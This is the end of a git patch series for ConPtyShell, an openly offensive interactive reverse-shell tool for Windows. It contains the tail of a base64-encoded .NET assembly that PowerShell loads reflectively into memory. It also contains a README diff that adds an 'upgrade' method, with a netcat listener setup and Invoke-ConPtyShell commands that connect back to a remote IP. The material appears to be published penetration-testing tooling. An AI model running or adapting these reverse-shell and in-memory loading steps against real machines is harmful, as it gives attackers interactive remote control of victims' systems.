AAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYoAAAbAIAAAAAAAAAAAAAbAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBMwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAG8AbgBQAHQAeQBTAGgAZQBsAGwAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABUABUAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAF8AbgBlAHQAMgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" $ConPtyShellBytes = [System.Convert]::FromBase64String($ConPtyShellBase64) [Reflection.Assembly]::Load($ConPtyShellBytes) | Out-Null $output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell) From e2b91a3ec3f46b79fa048ccb0dd465c87547861c Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Wed, 3 Mar 2021 00:35:56 +0100 Subject: [PATCH 5/5] Update README.md --- README.md | 30 +++++++++++++++++++++++++++++- 1 file changed, 29 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 61aac45..a53e81f 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ Then starts 2 Threads for Async I/O:
- one thread for reading from the socket and writing to Pseudo Console input pipe;
- the second thread for reading from the Pseudo Console output pipe and writing to the socket.

-ConPtyShell isn't an "Upgrade to fully interactive" method for your reverse shell, just use it as your reverse shell :) +ConPtyShell has also the magic button "Upgrade to fully interactive" for your reverse shell, just use it as your needs :) If you want to know further information regarding ConPty you can find a great article [1] in the references section. @@ -70,6 +70,30 @@ or, if you upload the ps1: IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80 ``` +#### Method 3 - Upgrade +You can also upgrade your current shell to a fully interecative shell. In this case it's important that you set rows and cols size when calling the Invoke-ConPtyShell function: + +**WARN1: Do not use Invoke-WebRequest if you load the assembly directly in powershell because ConPtyShell won't work properly when multiple sockets (and multiple \Device\Afd) are found in the current process** + +**WARN2: Only sockets created with the flag WSA_FLAG_OVERLAPPED are compatible with the upgrade. Non overlapped sockets won't give a nice upgraded shell and it will have locks on I/O operations.** + +##### Server Side: +``` +stty size +nc -lvnp 3001 +Wait For connection +ctrl+z +stty raw -echo +fg[ENTER] +``` +##### Client Side: +Here you should use the values read from ```stty size``` command in the Parameters -Rows and -Cols + +``` +IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -Upgrade -Rows 24 -Cols 80 +``` + + #### Change Console Size In any case if you resize your terminal while you have already open the remote shell you can change the rows and cols size directly from powershell pasting the following code: @@ -86,6 +110,10 @@ Below in the video you can watch a simulated scenario where on the left terminal +### Upgrade demo + + + ## References 1. https://devblogs.microsoft.com/commandline/windows-command-line-introducing-the-windows-pseudo-console-conpty/